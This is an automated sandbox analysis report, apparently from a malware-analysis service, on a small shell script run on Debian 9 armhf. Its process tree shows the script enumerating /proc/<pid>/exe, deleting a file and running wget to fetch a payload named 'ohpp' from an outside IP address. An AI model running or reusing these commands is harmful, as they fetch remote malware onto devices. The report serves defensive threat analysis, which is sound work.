Overview

overview

3

Static

static

1

_ac613f86b...ea8.sh

ubuntu-18.04-amd64

3

_ac613f86b...ea8.sh

debian-9-armhf

3

_ac613f86b...ea8.sh

debian-9-mips

3

_ac613f86b...ea8.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29/06/2026, 01:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    _ac613f86b27b3df61d7c881f1b0997e11521639b08132c5dd3d8f4de65901ea8.sh
  • Size 852B
  • Sample260629-cbzyfaax7x
  • SHA256 ac613f86b27b3df61d7c881f1b0997e11521639b08132c5dd3d8f4de65901ea8
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/_ac613f86b27b3df61d7c881f1b0997e11521639b08132c5dd3d8f4de65901ea8.sh
    /tmp/_ac613f86b27b3df61d7c881f1b0997e11521639b08132c5dd3d8f4de65901ea8.sh
    1⤵
      PID:649
      • /bin/ls
        ls -l /proc/1/exe
        2⤵
        • Reads runtime system information
        PID:650
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
        • Reads runtime system information
        PID:657
      • /bin/ls
        ls -l /proc/104/exe
        2⤵
        • Reads runtime system information
        PID:662
      • /bin/ls
        ls -l /proc/106/exe
        2⤵
        • Reads runtime system information
        PID:667
      • /bin/ls
        ls -l /proc/107/exe
        2⤵
        • Reads runtime system information
        PID:669
      • /bin/ls
        ls -l /proc/11/exe
        2⤵
        • Reads runtime system information
        PID:673
      • /bin/ls
        ls -l /proc/12/exe
        2⤵
        • Reads runtime system information
        PID:676
      • /bin/ls
        ls -l /proc/13/exe
        2⤵
        • Reads runtime system information
        PID:680
      • /bin/ls
        ls -l /proc/132/exe
        2⤵
        • Reads runtime system information
        PID:681
      • /bin/ls
        ls -l /proc/133/exe
        2⤵
        • Reads runtime system information
        PID:683
      • /bin/ls
        ls -l /proc/137/exe
        2⤵
        • Reads runtime system information
        PID:684
      • /bin/ls
        ls -l /proc/138/exe
        2⤵
        • Reads runtime system information
        PID:685
      • /bin/ls
        ls -l /proc/14/exe
        2⤵
        • Reads runtime system information
        PID:686
      • /bin/ls
        ls -l /proc/15/exe
        2⤵
        • Reads runtime system information
        PID:688
      • /bin/ls
        ls -l /proc/156/exe
        2⤵
        • Reads runtime system information
        PID:689
      • /bin/ls
        ls -l /proc/16/exe
        2⤵
        • Reads runtime system information
        PID:690
      • /bin/ls
        ls -l /proc/168/exe
        2⤵
        • Reads runtime system information
        PID:691
      • /bin/ls
        ls -l /proc/17/exe
        2⤵
        • Reads runtime system information
        PID:692
      • /bin/ls
        ls -l /proc/18/exe
        2⤵
        • Reads runtime system information
        PID:693
      • /bin/ls
        ls -l /proc/19/exe
        2⤵
          PID:694
        • /bin/ls
          ls -l /proc/2/exe
          2⤵
          • Reads runtime system information
          PID:695
        • /bin/ls
          ls -l /proc/20/exe
          2⤵
          • Reads runtime system information
          PID:696
        • /bin/ls
          ls -l /proc/21/exe
          2⤵
          • Reads runtime system information
          PID:697
        • /bin/ls
          ls -l /proc/218/exe
          2⤵
          • Reads runtime system information
          PID:698
        • /bin/ls
          ls -l /proc/22/exe
          2⤵
          • Reads runtime system information
          PID:699
        • /bin/ls
          ls -l /proc/23/exe
          2⤵
          • Reads runtime system information
          PID:700
        • /bin/ls
          ls -l /proc/24/exe
          2⤵
          • Reads runtime system information
          PID:701
        • /bin/ls
          ls -l /proc/25/exe
          2⤵
          • Reads runtime system information
          PID:702
        • /bin/ls
          ls -l /proc/26/exe
          2⤵
          • Reads runtime system information
          PID:703
        • /bin/ls
          ls -l /proc/27/exe
          2⤵
          • Reads runtime system information
          PID:704
        • /bin/ls
          ls -l /proc/279/exe
          2⤵
          • Reads runtime system information
          PID:705
        • /bin/ls
          ls -l /proc/28/exe
          2⤵
          • Reads runtime system information
          PID:706
        • /bin/ls
          ls -l /proc/283/exe
          2⤵
          • Reads runtime system information
          PID:707
        • /bin/ls
          ls -l /proc/29/exe
          2⤵
          • Reads runtime system information
          PID:708
        • /bin/ls
          ls -l /proc/3/exe
          2⤵
          • Reads runtime system information
          PID:709
        • /bin/ls
          ls -l /proc/301/exe
          2⤵
          • Reads runtime system information
          PID:710
        • /bin/ls
          ls -l /proc/303/exe
          2⤵
          • Reads runtime system information
          PID:711
        • /bin/ls
          ls -l /proc/305/exe
          2⤵
          • Reads runtime system information
          PID:712
        • /bin/ls
          ls -l /proc/310/exe
          2⤵
          • Reads runtime system information
          PID:713
        • /bin/ls
          ls -l /proc/319/exe
          2⤵
          • Reads runtime system information
          PID:714
        • /bin/ls
          ls -l /proc/327/exe
          2⤵
          • Reads runtime system information
          PID:715
        • /bin/ls
          ls -l /proc/332/exe
          2⤵
          • Reads runtime system information
          PID:716
        • /bin/ls
          ls -l /proc/4/exe
          2⤵
          • Reads runtime system information
          PID:717
        • /bin/ls
          ls -l /proc/41/exe
          2⤵
          • Reads runtime system information
          PID:718
        • /bin/ls
          ls -l /proc/42/exe
          2⤵
          • Reads runtime system information
          PID:719
        • /bin/ls
          ls -l /proc/43/exe
          2⤵
            PID:721
          • /bin/ls
            ls -l /proc/5/exe
            2⤵
            • Reads runtime system information
            PID:723
          • /bin/ls
            ls -l /proc/572/exe
            2⤵
            • Reads runtime system information
            PID:726
          • /bin/ls
            ls -l /proc/587/exe
            2⤵
            • Reads runtime system information
            PID:728
          • /bin/ls
            ls -l /proc/588/exe
            2⤵
            • Reads runtime system information
            PID:730
          • /bin/ls
            ls -l /proc/596/exe
            2⤵
            • Reads runtime system information
            PID:733
          • /bin/ls
            ls -l /proc/597/exe
            2⤵
            • Reads runtime system information
            PID:735
          • /bin/ls
            ls -l /proc/6/exe
            2⤵
            • Reads runtime system information
            PID:737
          • /bin/ls
            ls -l /proc/637/exe
            2⤵
            • Reads runtime system information
            PID:739
          • /bin/ls
            ls -l /proc/639/exe
            2⤵
            • Reads runtime system information
            PID:741
          • /bin/ls
            ls -l /proc/642/exe
            2⤵
            • Reads runtime system information
            PID:744
          • /bin/ls
            ls -l /proc/643/exe
            2⤵
            • Reads runtime system information
            PID:745
          • /bin/ls
            ls -l /proc/645/exe
            2⤵
            • Reads runtime system information
            PID:748
          • /bin/ls
            ls -l /proc/646/exe
            2⤵
            • Reads runtime system information
            PID:750
          • /bin/ls
            ls -l /proc/647/exe
            2⤵
            • Reads runtime system information
            PID:752
          • /bin/ls
            ls -l /proc/649/exe
            2⤵
            • Reads runtime system information
            PID:754
          • /bin/ls
            ls -l /proc/7/exe
            2⤵
            • Reads runtime system information
            PID:756
          • /bin/ls
            ls -l /proc/74/exe
            2⤵
            • Reads runtime system information
            PID:759
          • /bin/ls
            ls -l /proc/8/exe
            2⤵
            • Reads runtime system information
            PID:760
          • /bin/ls
            ls -l /proc/9/exe
            2⤵
            • Reads runtime system information
            PID:763
          • /bin/ls
            ls -l /proc/95/exe
            2⤵
            • Reads runtime system information
            PID:765
          • /bin/rm
            rm -rf ohpp
            2⤵
              PID:767
            • /usr/bin/wget
              wget http://129.121.114.124/ohpp
              2⤵
                PID:769

            Network

                  MITRE ATT&CK Matrix

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads